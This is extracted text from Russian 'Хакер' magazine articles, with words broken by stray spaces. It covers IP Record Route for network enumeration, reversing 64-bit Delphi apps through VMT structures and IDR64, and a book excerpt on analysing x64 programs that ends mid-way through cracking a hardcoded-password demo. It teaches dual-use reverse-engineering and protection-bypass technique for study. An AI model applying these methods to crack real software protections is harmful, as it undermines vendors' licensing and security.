В дав ние вре мена, ког да память активно го сетево го обо рудо вания была
невели ка, обратный мар шрут сле дова ния пакета записы вал ся пря мо в IP-
заголо вок. Имен но для это го была при дума на IP-опция .

Информа ция, получа емая из , содер жит боль ше све дений,

нежели в клас сичес ком traceroute.

record route
record route

 не прос то записы вает адре са хопов на пути сле дова ния сетево -

го пакета, он фик сиру ет адре са всех сетевых интерфей сов, как вхо дящих, так
и исхо дящих, через которые пакет шел до цели. В то вре мя как трас сиров ка
покажет толь ко IP-адрес на исхо дящем интерфей се, смот рящем в сто рону
отпра вите ля.

Record route

Изу чив пред став ленный выше скрин шот, мы можем сде лать сле дующие
выводы:

па кет спер ва при шел на сетевое устрой ство с , пос ле чего с это -
го устрой ства, с интерфей са , пошел даль ше, на 

;

• 10.0.1.4

10.0.1.6 192.168.255.

17

за тем он покинул устрой ство с интерфей са ;• 192.168.27.1

в конеч ном сче те пакет дос тиг цели , так ска зать, раз -
вернул ся, и пошел ответ с того же адре са , о чем сви -
детель ству ют две оди нако вые записи;

• 192.168.27.61

192.168.27.61

на обратном пути сле дова ния пакета мар шрут записы вал ся по той же
логике, до мак сималь но воз можно го количес тва записей в IP-пакете, рав -
ного вось ми.

•

То же самое мож но про вер нуть и с помощью Nmap.

Для даль нейших экспе римен тов с  мож но исполь зовать мой

при мер на scapy ( ). Вос ста нов ление хопов с помощью 

 или того же traceroute, в прин ципе, может быть исполь зовано для пос -
тро ения тополо гии сети, что реали зова но, нап ример, в откры том инс тру мен те
zenmap или ряде плат ных про дук тов.

Record Route
rr_test.py Record

Route

ÂÛÂÎÄÛ

Мы узна ли, как мно го самых раз нооб разных и неоче вид ных фак тов о целях
мож но получить, толь ко изу чив самые вер хние сетевые и тран спортные про -
токо лы. А сколь ко информа ции мож но вытащить, спус тившись до уров ня при -
ложе ний?

Enumeration — это даже еще не начало поис ка изъ янов в защите, ведь мы
не запус кали раз нооб разные активные тес ты на уяз вимос ти и мис конфи ги,
не успе ли про верить пароли или пас сивно про верить вер сии. Но мы уже соб -
рали о целях доволь но боль шой объ ем информа ции. Ведь никог да не зна ешь,
какие уяз вимос ти будут най дены на сле дующем эта пе и в какой пазл это в ито -
ге сло жит ся. Впол не веро ятно, что кро шеч ная недос тающая кру пица информа -
ции прев ратит ся в рабочий attack chain и сис тема ока жет ся про битой.

Да же если та или иная осо бен ность не пред став ляет опас ности сама
по себе, соб ранные све дения зло умыш ленник может исполь зовать для реали -
зации пос леду ющих атак.



РЕВЕРСИМ 64-РАЗРЯДНЫЕ
ПРИЛОЖЕНИЯ НА DELPHI

МВК

ВЗЛОМ

Прог раммы на Delphi пусть и нечас то,
но все же попада ют в руки любите лей
поковы рять ся в чужом соф те. Сегод ня мы
раз берем методы ревер са и отладки таких
при ложе ний. А заод но запасем ся нуж ными
инс тру мен тами.

Хо роше го хакера от хороше го кодера отли чает то, что пер вый не прос то зна -
ком со все ми необ ходимы ми для выпол нения текущей задачи инс тру мен тами
и уме ет ими поль зовать ся, но так же понима ет их внут реннее устрой ство
и прин ципы работы. Что бы при необ ходимос ти обой тись без них, прос то
руками выпол нив дей ствие, под которое инс тру мент по каким-то при чинам
не был заточен.

Од на из самых бла годат ных тем для хакеров — реверс при ложе ний
на Delphi. Об этом написа но мно жес тво ста тей (в том чис ле и в «Хакере»),
а так же соз дано мно жес тво удоб ных инс тру мен тов, облегча ющих хакерам
жизнь. Одна ко тема нас толь ко обширна, что даже эти инс тру мен ты не охва -
тыва ют ее пол ностью: всег да най дут ся слу чаи, ког да все тул зы бес силь ны
и при ходит ся про являть хакер скую сме кал ку.

Итак, сфор мулиру ем задачу. Име ется 64-бит ное при ложе ние, пер вичный
ана лиз которо го при помощи DIE выда ет его родс тво с Delphi.

Вро де бы все хорошо, одна ко на при веден ном выше скрин шоте нет рудно
заметить вза имоис клю чающие парамет ры: пред лага емый ана лиза тором Delphi
не может быть 64-бит ным. Перек лючив режим ска ниро вания с авто мати чес -
кого на Nauz File Detector, про ясня ем воз никшее недора зуме ние.

Ко неч но же, это гораз до более поз дняя вер сия Embarcadero Delphi 35.0
(28.0.44500.8973). Естес твен но, перед нами не XE7+, а целый XE11+. Дан ное
откры тие сов сем нас не раду ет — обще извес тные инс тру мен ты DeDe и IDR
не то что столь све жую вер сию не понима ют, они вооб ще не уме ют работать
с 64-бит ным Delphi.

Есть роб кая надеж да на зачаточ ную , одна ко и она
не приз нает наш модуль род ным. Не откла дыва ем ее далеко, она нам
еще при годит ся, гуг лим даль ше.

бе та-вер сию IDR64

На ходим занят ный про ект . Его авто ры обна -
ружи ли в Delphi и успешно экс плу ати руют инте рес ную фичу. При выходе
из внут ренне го метода (Event Constructor) регистр  будет содер жать ссыл ку

на имя обра бот чика события. Адрес обо абот чика будет находить ся в регис тре
, при мер но так, как показа но на сле дующем скрин шоте.

пи тонов ско го скрип та под IDA

EDX

EAX

Про ана лизи ровав код 32-бит ных хен дле ров, они выдели ли общий пат терн
для поис ка  (соот ветс тву -

ющие ему бай ты помече ны плю сиком):

80 E3 DF 75 ?? 49 75 ?? 8B 46 02 ?? ?? 5B C3

.text:00408DB8              loc_
408DB8:                             ; CODE XREF: sub_408D68+67↓j
.text:00408DB8 8A 5C 31 06                  mov     
bl, [ecx+esi+6]
.text:00408DBC F6 C3 80                     test    bl, 80h
.text:00408DBF 75 E1                        jnz     short loc_
408DA2
.text:00408DC1 32 1C 11                     xor     bl, [ecx+edx]
.text:00408DC4 F6 C3 80                     test    bl, 80h
.text:00408DC7 75 D9                        jnz     short loc_
408DA2
.text:00408DC9 80+ E3+ DF+                  and     bl, 0DFh
.text:00408DCC 75+ D0                       jnz     short loc_
408D9E
.text:00408DCE 49+                          dec     ecx
.text:00408DCF 75+ E7                       jnz     short loc_
408DB8
.text:00408DD1
.text:00408DD1              loc_
408DD1:                             ; CODE XREF: sub_408D68+4C↑j
.text:00408DD1 8B+ 46+ 02+                  mov     eax, [esi+2]
.text:00408DD4
.text:00408DD4              loc_
408DD4:                             ; CODE XREF: sub_408D68+34↑j
.text:00408DD4 5F                           pop     edi
.text:00408DD5 5E                           pop     esi
.text:00408DD6 5B+                          pop     ebx
.text:00408DD7 C3+                          retn

Ана логич ный код хен дле ра для 64-бит ной вер сии находит ся по пат терну 
.

Нап ример, вот как это выг лядит для вер сии 31 (10.1).

80 ??
?? 00 74 ?? E8 ?? ?? ?? ?? 48 8B ?? ?? 48 8D ?? ?? ?? ?? ?? ?? C3

Код будет таким (соот ветс тву ющие пат терну бай ты тоже помече ны плю сиком):

55              push    rbp
57              push    rdi
56              push    rsi
53              push    rbx
48 83 EC 48     sub     rsp, 48h
48 8B EC        mov     rbp, rsp
48 89 CB        mov     rbx, rcx
4C 89 C6        mov     rsi, r8
48 8B 0A        mov     rcx, [rdx]
48 89 F2        mov     rdx, rsi
E8 94 89 E5 FF  call    sub_40E690
48 89 45 38     mov     [rbp+var_s38], rax
48 83 7D 38 00  cmp     [rbp+var_s38], 0
0F 94 C0        setz    al
88 45 37        mov     [rbp+var_s37], al
48 83 7B 68 00  cmp     qword ptr [rbx+68h], 0
74 1D           jz      short loc_5B5D2F
48 8D 7B 68     lea     rdi, [rbx+68h]
48 8B 4F 08     mov     rcx, [rdi+8]
48 89 DA        mov     rdx, rbx
49 89 F0        mov     r8, rsi
4C 8D 4D 38     lea     r9, [rbp+var_s38]
48 8D 45 37     lea     rax, [rbp+var_s37]
48 89 44 24 20  mov     [rsp+var_s20], rax
FF 17           call    qword ptr [rdi]
80+ 7D 37 00+   cmp     [rbp+var_s37], 0
74+ 05          jz      short loc_5B5D3A
E8+ B6 F9 FF FF call    sub_5B56F0
48+ 8B+ 45 38   mov     rax, [rbp+var_s38]
48+ 8D+ 65 48   lea     rsp, [rbp+48h]
5B              pop     rbx
5E              pop     rsi
5F              pop     rdi
5D              pop     rbp
C3+             retn

Лег ко убе дить ся, что при оста нове в кон це этой фун кции адре су метода
в регис тре  соот ветс тву ет его имя в регис тре  (да-да, в коде скрип та
ошиб ка, не , а ).

RAX RDI
RDX RDI

Но это мелочь, пос коль ку недос татки дан ного метода вид ны нево ору жен ным
гла зом. Трас сировать прог рамму ради того, что бы получить весь ма огра ничен -
ный спи сок методов, доволь но тос кли во, да и вооб ще если прог рамма под -
лежит запус ку и трас сиров ке, то это боль шое везение. И наконец, самая глав -
ная беда — в нашей целевой вер сии XE11 ана логич ного кода нет и быть
не может, пос коль ку там весь этот про цесс, судя по все му, про ходит в нед рах
биб лиоте ки .rtl280.dll

По дума ем, чем еще нам может при годить ся IDR64. Я нем ного пок ривил
душой, упо мянув ее отказ от родс тва с нашим модулем. Конеч но, у нее отсутс -
тву ет база зна ний по XE11. По сути, она толь ко три вер сии и зна ет. Поэто му
при откры тии в режиме авто детек та сом нева ется в «дель фовос ти» нашей
прог раммы. Одна ко если нем ного схит рить и поп робовать открыть ее
как Delphi XE4, а затем сог ласить ся с native knowledge base, то IDR64 вов се
не про тивит ся это му и пос ле очень дол гих раз думий кое-как заг ружа ет прог -
рамму в себя.

Ко неч но, она пол ноцен но не вос ста нав лива ет всю струк туру модулей
и клас сов, одна ко из вос ста нов ленно го ею кода мож но почер пнуть зна читель но
боль ше информа ции, чем из IDA. В час тнос ти, мы получим спи сок имен
методов и клас сов, не говоря уже о том, что IDA чер тов ски не любит пас калев -
ские стро ки со счет чиком.

И в зак лючение я, как и обе щал, нем ного рас ска жу о при мер ной внут ренней
струк туре дель фов ско го кода и прин ципах его ана лиза «голыми руками». Ког да
мы ана лизи рова ли дель фов ские при ложе ния при помощи IDR, то замети ли, что
для каж дого ском пилиро ван ного клас са при сутс тву ет своя харак терная струк -
тура дан ных, называ емая VMT. Струк тура не докумен тирова на, одна ко, погуг -
лив, мож но най ти . В ней эта струк тура опи сыва -
ется (как тип в син такси се дель фи) сле дующим обра зом:

ста рую статью с ее опи сани ем

type
   PClass = ^TClass;
       PSafeCallException = function (Self: TObject; ExceptObject:
      TObject; ExceptAddr: Pointer): HResult;
     PAfterConstruction = procedure (Self: TObject);
     PBeforeDestruction = procedure (Self: TObject);
      PDispatch          = procedure (Self: TObject; var Message);
          PDefaultHandler = procedure (Self: TObject; var Message);
       PNewInstance       = function (Self: TClass) : TObject;
    PFreeInstance      = procedure (Self: TObject);
      PDestroy           = procedure (Self: TObject; OuterMost:

ShortInt);
   PVmt = ^TVmt;
    TVmt = packed record
    SelfPtr           : TClass;
    IntfTable         : Pointer;
    AutoTable         : Pointer;
    InitTable         : Pointer;
    TypeInfo          : Pointer;
    FieldTable        : Pointer;
    MethodTable       : Pointer;
    DynamicTable      : Pointer;
    ClassName         : PShortString;
    InstanceSize      : PLongint;
    Parent            : PClass;
     SafeCallException : PSafeCallException;
     AfterConstruction : PAfterConstruction;
     BeforeDestruction : PBeforeDestruction;
    Dispatch          : PDispatch;
        DefaultHandler : PDefaultHandler;
    NewInstance       : PNewInstance;
    FreeInstance      : PFreeInstance;
    Destroy           : PDestroy;
  {UserDefinedVirtuals: array[0..999] of procedure;}
 end;

Как видишь, она содер жит исчерпы вающую информа цию о клас се, в которой
нас в пер вую оче редь инте ресу ют его методы. Для понима ния это го покурим
нем ного исходни ки IDR64. Бег ло прос мотрев их, находим два основных
модуля, ответс твен ных за раз бор кода на клас сы:  и .

Пер вый содер жит методы для поис ка таб лиц VMT в ском пилиро ван ном коде,
вто рой слу жит для извле чения информа ции из них. В двух сло вах кос нусь
реали зации этих про цес сов. В модуле  есть метод с соот ветс тву -

ющим наз вани ем:

Threads.cpp Misc.cpp

Threads.cpp

// Collect information from VMT structure
  void __fastcall TAnalyzeThread::FindVMTs()

{
  ...
      if (Adj0Count > Adj24Count)

         Adjustment = 0;
   else
   {

         Adjustment = -24;
       Vmt.AdjustVmtConsts(Adjustment);
   }

               for (int i = 0; i < TotalSize && !Terminated; i += 8)
   {
       ...

            if (idr.IsFlagSet(cfCode | cfData, i)) continue;
              DWORD adr = *((ULONGLONG*)(Code + i)); // Points to 

vmt0 (VmtSelfPtr)
              if (IsValidImageAdr(adr) && Pos2Adr(i) == adr + Vmt.

SelfPtr)
       {

              DWORD classVMT = adr;
...

Фак тичес ки он переби рает все 64-бит ные сло ва в фай ле, про веряя, ука зыва ет
ли каж дое на самое себя (если его интер пре тиро вать как адрес со сме щени ем

). Нап ример, на рисун ке

выделен ный крас ным длин ный ука затель по адре су  пол ностью

про ходит дан ный магичес кий тест, пос коль ку его содер жимое име ет вид
.

+ Vmt.SelfPtr (-0xBO)+ Adjustment (-24)
0x3A806F48

0x3A807010=0x3A806F48+0xB0+0x18
Этой осо бен ностью, в час тнос ти, объ ясня ется весь ма неп рият ное тор -

можение IDR при заг рузке боль ших фай лов.

Итак, най дя начало таб лицы VMT, мож но начинать раз бирать ее содер жимое.
Модуль  содер жит мно жес тво методов для это го: ,

, ,  и так далее. Устро ены они,

в общем-то, одно тип но: в них выпол няет ся обра щение к соот ветс тву ющим
полям струк туры VMT отно ситель но ука зате ля :

Misc.cpp GetParentAdr
GetChildAdr GetClassSize GetClsName

Vmt.SelfPtr

   String __fastcall GetClsName(DWORD adr)
{
      if (!IsValidImageAdr(adr)) return "";

        DWORD vmtAdr = adr - Vmt.SelfPtr;
        DWORD pos = Adr2Pos(vmtAdr) + Vmt.ClassName;

...

,  — это кон стан ты отно ситель ных сме щений

до полей дан ной струк туры, ини циали зиру ющих ся в методах 

 и . Они зависят от вер сии Delphi,

и нам силь но повез ло, что они не менялись с 2014 года. Про ана лизи ровав их,
сос тавим схе му бло ка VMT для клас са, при веден ного на пре дыду щем скрин -
шоте:

Vmt.SelfPtr Vmt.ClassName
DelphiVmt::

SetVmtConsts DelphiVmt::AdjustVmtConsts

SelfPtr         DQ  3A807010h
IntfTable       DQ  3A806f10h
AutoTable       DQ  0
InitTable       DQ  3A807010h
TypeInfo        DQ  3A807A10h ; TMkManager
FieldTable      DQ  3A80702Bh
MethodTable     DQ  3A80716Bh
DynamicTable        DQ  0
ClassName       DQ  3A8072D9h ; TMkManager
InstanceSize        DQ  0B8h
Parent          DQ  3A813848h
Equals          DQ  3A801080h
GetHashCode     DQ  3A801090h
ToString        DQ  3A8010B0h
SafeCallException   DQ  3A8010A0h
AfterConstruction   DQ  3A807B50h
BeforeDestruction   DQ  3A8012F0h
Dispatch        DQ  3A8010D0h
DefaultHandler      DQ  3A801300h
NewInstance     DQ  3A801020h
FreeInstance        DQ  3A807FE0h
Destroy         DQ  3A801030h

Как видим, рас клад ка 64-бит ной струк туры впол не соот ветс тву ет при веден -
ному выше опи санию. Не буду утом лять читате лей под робным раз бором
струк туры вся ких полез ных таб лиц, ссыл ки на которые мож но получить
из содер жимого полей. При желании ты можешь разоб рать ся в этом сам, изу -
чив исходни ки IDR. Тем более что в реаль ной жиз ни столь под робный раз бор
кода обыч но и не нужен, если толь ко поль зователь не жела ет написать свой
собс твен ный деком пилятор пок руче IDR. Рас смот рим прак тичес кий спо соб
при мене ния этой информа ции для ана лиза дель фов ско го кода без спе циаль -
ных инс тру мен тов, пря мо во вре мя отладки при ложе ния в нашем любимом
отладчи ке x64dbg.

Итак, ковыряя при ложе ние в этом отладчи ке, мы наб рели на некий класс
, ответс твен ный за связь при ложе ния с клю чом . Для наг -

ляднос ти: в classwiever IDR64 спи сок методов дан ного клас са выг лядят при -
мер но так.

TMkManager MetroKey

Рас смот рим орга низа цию это го клас са в памяти заг ружен ного в отладчик про -
цес са на осно ве ана лиза таб лицы .MethodTable

Крас ным цве том выделе но имя клас са , синим — име на его
методов и их адре са, оран жевым — ука зате ли на тип воз вра щаемо го зна чения,
а фиоле товым — парамет ры каж дого метода, их име на и типы. Как видишь,
зна чения воз вра щают толь ко два из семи при сутс тву ющих на экра не методов,
хотя парамет ры есть у всех (как минимум ).

TMkManager

Self
Ра бота ет это так: допус тим, в какой-то момент мы при отладке про цес са

заш ли в про цеду ру по адре су , и она нас так заин тересо вала, что мы
решили узнать о ней под робнос ти. Для это го мы ищем ссыл ку на нее. Прос той
референс навер няка не най дет ся, а вот если искать его как пос ледова тель -
ность бай тов , то будет най ден ука затель по адре су

 (выделе но синим).

5E4AB020

20,B0,4A,5E,00,00,00,00
5E4A72E6

За ним сле дует стро ка со счет чиком, имя это го метода — .

Если получен ная информа ция заин тересо вала нас еще силь нее, то сле дующий
ука затель  (выделе но оран жевым) ссы лает ся на дру гой ука затель (в
нашем при мере по стрел ке ), который, в свою оче редь, ука зыва ет

на имя типа воз вра щаемо го зна чения — .

GetKeyServerIP

5E4B3958
59913С0

string
Дви гаясь даль ше, мы обна ружи ваем выделен ное фиоле товым имя пер вого

парамет ра это го метода  и ука затель на его тип — . Так же как и

в пре дыду щем слу чае, через два пере име нова ния мы выходим на имя типа,
точ нее, клас са — иско мый , который по понят ным при чинам явля -
ется родитель ским клас сом и для нашего метода.

Self 5E4A7A08

TMkManager

На скрин шоте вид но, что если про дол жить изыс кания, то мож но прой ти
по цепоч ке порож дающих клас сов, но я пре дос тавлю читате лю, вооду шев -
ленно му получен ной информа цией, самому раз вить эту тему, вплоть
до написа ния собс твен ных скрип тов или даже деком пилято ров.

https://github.com/crypto2011/IDR64
https://github.com/Coldzer0/IDA-For-Delphi
https://hallvards.blogspot.com/2006/03/hack-8-explicit-vmt-calls.html


УЧИМСЯ АНАЛИЗИРОВАТЬ
ПРОГРАММЫ ДЛЯ X86-64

С НУЛЯ

Крис Касперски
Известный российский
хакер. Легенда ][, ex-

редактор ВЗЛОМа. Т акже
известен под

псевдонимами мыщъх,
nezumi (яп. 鼠, мышь), n2k,
elraton, souriz, tikus, muss,

farah, jardon, KPNC.

Юрий Язев
Широко известен под
псевдонимом yurembo.

Программист, разработчик
видеоигр, независимый
исследователь. Старый
автор журнала «Хакер».
yazevsoft@gmail.com

ВЗЛОМ

Ис сле дова ние исполня емо го фай ла мож но раз делить
на три эта па: повер хностный, глу бокий, хирур гичес кий.
На пер вом мы малыми силами собира ем информа цию
о подопыт ном фай ле. Под «малыми силами» я под разуме -
ваю лег кие в исполь зовании и широко рас простра нен ные
средс тва ана лиза. В этой статье мы погово рим о них и для
наг ляднос ти взло маем нес ложную защиту.

«Фундаментальные основы хакерства»

Мы пуб лику ем эту статью в честь начала пред заказов обновлен ной вер сии кни -
ги Кри са Кас пер ски «Фун дамен таль ные осно вы хакерс тва», получив шей под -
заголо вок «Ана лиз прог рамм в сре де Win64».

В пер вой час ти статьи ты вкрат це поз накомишь ся с основны ми инс тру мен -
тами отладки, а вто рая — это отры вок из кни ги. Он уже пуб ликовал ся
в «Хакере», но теперь дос тупен без плат ной под писки.

 ты можешь на сай те изда тель ства «Солон-пресс».Ку пить кни гу
 Текст статьи обновлен с уче том работы с x86-64.Ïðè ìå÷à íèå:

ÝÒÀÏ 1

Ес ли работа ведет ся в Linux, сре ди инс тру мен тов повер хностно го ана лиза
мож но отме тить такие при ложе ния:

 опре деля ет тип фай ла, ана лизи руя его поля;• file

 отоб ража ет информа цию о сек циях фай ла;• readelf

 выводит спи сок динами чес ких биб лиотек, от которых зависит дан ный

исполня емый файл;

• ldd

 выводит спи сок декори рован ных имен фун кций, которые соз дают ся

ком пилято рами язы ков, под держи вающих перег рузку фун кций. Затем ути -
лита может декоди ровать эти име на;

• nm

 пре обра зует декори рован ные име на фун кций в пер воначаль ные

с уче том переда ваемых и получа емых аргу мен тов;

• c++filt

 выводит стро ки, содер жащи еся в фай ле, с уче том задан ного шаб -
лона.

• strings

В Windows со мно гими из этих задач справ ляет ся ути лита , вхо дящая

в пос тавку Visual Studio.

dumpbin

Ес ли мы получи ли общее пред став ление о фай ле и не наш ли ничего полез -
ного для взло ма, есть смысл перехо дить к сле дующе му эта пу.

ÝÒÀÏ 2

Вто рой этап — это дизас сем бли рова ние. Его цель — обна ружить защит ный
механизм. Сущес тву ет два вида дизас сем бли рова ния: ста тичес кое и динами -
чес кое (более извес тное как отладка или трас сиров ка). В пер вом слу чае изу -
чает ся дизас сем блер ный код, получен ный с помощью авто мати чес кого ана -
лиза дизас сем бле ром исполня емо го фай ла без его запус ка.

Ди нами чес кое дизас сем бли рова ние пред полага ет запуск прог раммы и ее
пошаго вое исполне ние. Обыч но отладка про ходит в спе циаль ной и обо соб -
ленной сре де. Это нуж но на слу чай, если прог рамма пред став ляет какую-то
угро зу для сис темы.

В качес тве отладчи ка в Linux мож но вос поль зовать ся ста рым доб рым 
либо средс тва ми трас сиров ки в . В Windows выбор тоже невелик:

 пос тепен но уста рева ет и не обновля ется. В нем отла живать при ложе -

ния мож но толь ко в режиме поль зовате ля. Пос ле смер ти SoftICE единс твен -
ным нор маль ным отладчи ком в Windows стал . В нем мож но отла -

живать драй веры на уров не ядра.

GDB

Radare2

OllyDbg

WinDbg

Ста тичес кие дизас сем бле ры тоже делят ся на две груп пы: линей ные
и рекур сивные. Пер вые переби рают все сег менты кода в дво ичном фай ле,
декоди руют и пре обра зуют их в мне мони ки язы ка ассем бле ра. Так работа ет
боль шинс тво прос тых дизас сем бле ров, вклю чая  и . Может

показать ся, что так и дол жно быть. Одна ко, ког да сре ди исполня емо го кода
встре чают ся дан ные, воз ника ет проб лема: их не надо пре обра зовы вать
в коман ды, но линей ный дизас сем блер не в сос тоянии отли чить их от кода!
Мало того, пос ле того как сег мент дан ных завер шится, дизас сем блер будет
рас син хро низи рован с текущей позиции кода.

objdump dumpbin

С дру гой сто роны, рекур сивные дизас сем бле ры, такие как IDA Pro,
Radare2 и Ghidra, ведут себя ина че. Они дизас сем бли руют код в той же пос -
ледова тель нос ти, в которой его будет исполнять про цес сор. Поэто му они акку -
рат но обхо дят дан ные, и в резуль тате боль шинс тво команд бла гопо луч но рас -
позна ется.

Но и здесь есть лож ка дег тя. Не все кос венные перехо ды лег ко отсле дить.
Сле дова тель но, какие-то пути выпол нения могут остать ся нерас познан ными.
Помога ет то, что сов ремен ные дизас сем бле ры при меня ют раз ные эвристи чес -
кие при емы с уче том кон крет ных ком пилято ров.

ÝÒÀÏ 3

Ког да адрес защит ного механиз ма най ден, мож но прис тупать к треть ему эта -
пу — хирур гичес кому. Сущес тву ет нес коль ко видов непос редс твен ного взло -
ма. Самый прос той вари ант — вос поль зовать ся шес тнад цатерич ным редак -
тором.

Су щес тву ет мно жес тво HEX-редак торов на любой вкус и цвет, нап ример
, , . Воору жай ся одним из них, и тебе оста нет ся

толь ко переза писать коман ду по най ден ному адре су. Но в дво ичном фай ле
силь но не раз бежишь ся! Сущес тву ющий код не дает прос тора для манипу -
ляций, поэто му нам при ходит ся уме щать ся в име ющем ся прос транс тве.

010 Editor HexEdit HIEW

Про тиво пока зано раз дви гать или сдви гать коман ды, даже выкиды вать име -
ющиеся конс трук ции мож но толь ко с боль шой осто рож ностью. Ведь подоб ные
манипу ляции с кодом при ведут к сдви гу сме щений осталь ных команд, а ука -
зате ли в таком слу чае будут ука зывать в кос мос!

Этим спо собом, одна ко, мож но хак нуть боль шое количес тво защит ных
механиз мов. А как быть, если надо не прос то взло мать прог рамму, а добавить
или заменить в ней какие-то фун кции? Понят но, что HEX-редак тор тут тебе
не друг.

Здесь на помощь при ходит тех ника осна щения дво ично го фай ла. Оно поз -
воля ет вста вить поч ти неог раничен ный блок кода поч ти в любое мес то фай ла.
Понят но, что без пос торон них средств это го не добить ся. Осна щение реали -
зуют спе циаль ные биб лиоте ки, пре дос тавля ющие гиб кие API.

С помощью ста тичес кого осна щения про изво дит ся модифи кация фай ла
непос редс твен но на дис ке. То есть бинар ный файл сна чала надо дизас сем -
бли ровать, най ти под ходящее мес то, обла дающее дос таточ ным прос транс -
твом для вклю чения полез ной наг рузки, и, внед ряя потус торон ний код, усле -
дить, что бы не полома лись ука зате ли на код и дан ные. В этом деле приз ваны
помочь такие инс тру мен ты, как  и . Пос ле модифи кации фай ла

он записы вает ся в изме нен ном виде обратно на диск.

DynInst PEBIL

Ди нами чес кое осна щение работа ет по дру гому прин ципу. Подоб но
отладчи кам движ ки динами чес кого осна щения сле дят за выпол няемы ми про -
цес сами и вно сят код пря мо в память. Поэто му при динами чес ком осна щении
не нуж но ни дизас сем бли рова ние, ни изме нение бинар ника, от чего одним
махом исче зают все негатив ные пос ледс твия.

Од нако во вре мя динами чес кого осна щения, так как прог рамма выпол няет -
ся «под наб людени ем», ее про изво дитель ность замет но пада ет. Для динами -
чес кого осна щения исполь зуют ся сис темы  (сов мес тный про ект

HP и MIT) и  (Intel).

DynamoRIO

Pin

Мо жет показать ся, что динами чес кое осна щение луч ше во всех отно шени -
ях. А вот и нет! Такую прог рамму нель зя будет исполнить на дру гом компь юте -
ре, где нет никаких спе циаль ных средств. Тог да как в про цес се ста тичес кого
осна щения мы заранее готовим бинар ник и переда ем его поль зовате лю. Теми
же средс тва ми могут поль зовать ся и зло умыш ленни ки, жела ющие заразить
прог рамму вирусом или снаб дить какой-то под лой фун кци ей.

Продолжение статьи →

mailto:yazevsoft@gmail.com
https://clck.ru/32oUMy
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С НУЛЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÀÊÒÈ×ÅÑÊÈÉ ÂÇËÎÌ

Что бы поуп ражнять ся на прак тике, про ведем ана лиз и рас кусим эле мен тарную
защиту.

Øàã ïåðâûé. Ðàçìèíî÷íûé

Ал горитм прос тей шего механиз ма аутен тифика ции зак люча ется в посим воль -
ном срав нении вве ден ного поль зовате лем пароля с эта лон ным зна чени ем,
хра нящим ся либо в самой прог рамме (как час то и быва ет), либо вне ее, нап -
ример в кон фигура цион ном фай ле или реес тре (что встре чает ся реже).

Дос тоинс тво такой защиты — край не прос тая прог рам мная реали зация. Ее
ядро сос тоит фак тичес ки из нес коль ких строк, которые на язы ке С/C++ мож но
записать так:

    if (strcmp(введенный пароль, эталонный пароль))
{/* Пароль неверен */}
else
{/* Пароль ОК*/}

Да вай допол ним этот код про цеду рами зап роса пароля и вывода резуль татов
срав нения, а затем испы таем получен ную прог рамму на проч ность, т. е.
на стой кость к взло му. В Visual Studio соз дай кон соль ный про ект и ском -
пилируй сле дующий код, уста новив целевую плат форму x64.

При мер прос тей шей сис темы аутен тифика ции:

#include "stdafx.h"
// Простейшая система аутентификации
// Посимвольное сравнение пароля
#include <stdio.h>
#include <string.h>
#define PASSWORD_SIZE 100
#define PASSWORD "myGOODpassword\n"
// Этот перенос нужен затем, чтобы
// не выкусывать перенос из строки,
// введенной пользователем

 int main()
{
// Счетчик неудачных попыток аутентификации

 int count=0;
// Буфер для пароля, введенного пользователем

 char buff[PASSWORD_SIZE];
// Главный цикл аутентификации
for(;;)
{
// Запрашиваем и считываем пользовательский пароль
printf("Enter password:");
fgets(&buff[0],PASSWORD_SIZE,stdin);
// Сравниваем оригинальный и введенный пароль

 if (strcmp(&buff[0],PASSWORD))
// Если пароли не совпадают — «ругаемся»
printf("Wrong password\n");
// Иначе (если пароли идентичны)
// выходим из цикла аутентификации

 else break;
// Увеличиваем счетчик неудачных попыток
// аутентификации и, если все попытки
// исчерпаны, завершаем программу

   if (++count>3) return -1;
}
// Раз мы здесь, то пользователь ввел правильный пароль
printf("Password OK\n");
}

В популяр ных кинофиль мах кру тые хакеры лег ко про ника ют в любые жут ко
защищен ные сис темы, каким-то непос тижимым обра зом уга дывая иско мый
пароль с нес коль ких попыток. Почему бы не поп робовать пой ти их путем?

Не так уж ред ко пароли пред став ляют собой осмыслен ные сло ва наподо -
бие Ferrari, QWERTY, име на любимых хомяч ков, наз вания геог рафичес ких пун -
ктов и т. д. Уга дыва ние пароля срод ни гаданию на кофей ной гуще — никаких
гаран тий на успех нет, оста ется рас счи тывать на одно лишь везение. А уда ча,
как извес тно, пти ца гор дая — палец в рот ей не кла ди. Нет ли более надеж ного
спо соба взло ма?

Раз эта лон ный пароль хра нит ся в теле прог раммы, то, если он не зашиф -
рован каким-нибудь хит рым обра зом, его мож но обна ружить три виаль ным
прос мотром дво ично го кода прог раммы. Переби рая все встре тив шиеся в ней
тек сто вые стро ки, начиная с тех, что боль ше все го сма хива ют на пароль, мы
очень быс тро под берем нуж ный ключ и откро ем им прог рамму! При чем
область прос мотра мож но сущес твен но сузить — в подав ляющем боль шинс -
тве слу чаев ком пилято ры раз меща ют все ини циали зиро ван ные перемен ные
в сег менте дан ных (в PE-фай лах он раз меща ется в сек ции  или ).

Исклю чение сос тавля ют, пожалуй, ран ние ком пилято ры Borland с их мани -
акаль ной любовью всо вывать тек сто вые стро ки в сег мент кода — непос редс -
твен но по мес ту их вызова. Это упро щает сам ком пилятор, но порож дает мно -
жес тво проб лем. Сов ремен ные опе раци онные сис темы, в отли чие от ста руш ки
MS-DOS, зап реща ют модифи кацию кодово го сег мента, и все раз мещен ные
в нем перемен ные дос тупны лишь для чте ния. К тому же на про цес сорах с раз -
дель ной сис темой кеширо вания они «засоря ют» кодовый кеш, попадая туда
при упрежда ющем чте нии, но при пер вом же обра щении к ним вновь заг ружа -
ются из мед ленной опе ратив ной памяти в кеш дан ных. В резуль тате — тор -
моза и падение про изво дитель нос ти.

.data .rdata

Что ж, пусть это будет сек ция дан ных! Оста ется толь ко най ти удоб ный инс -
тру мент для прос мотра дво ично го фай ла. Мож но, конеч но, нажать кла вишу
F3 в сво ей любимой обо лоч ке (FAR, DOS Navigator) и, при давив кир пичом Page
Down, любовать ся бегущи ми цифер ками до тех пор, пока не надо ест.

Мож но вос поль зовать ся любым HEX-редак тором (qView, HIEW... — кому
какой по вку су), но в дан ном слу чае, по сооб ражени ям наг ляднос ти, при веден
резуль тат работы ути литы dumpbin из штат ной пос тавки Microsoft Visual Studio.
Запус тить dumpbin мож но из Developer Command Prompt или дру гой кон соли.

Нат равим ути литу на исполня емый файл нашей прог раммы, содер жащей
пароль, и поп росим ее рас печатать содер жащую толь ко для чте ния ини циали -
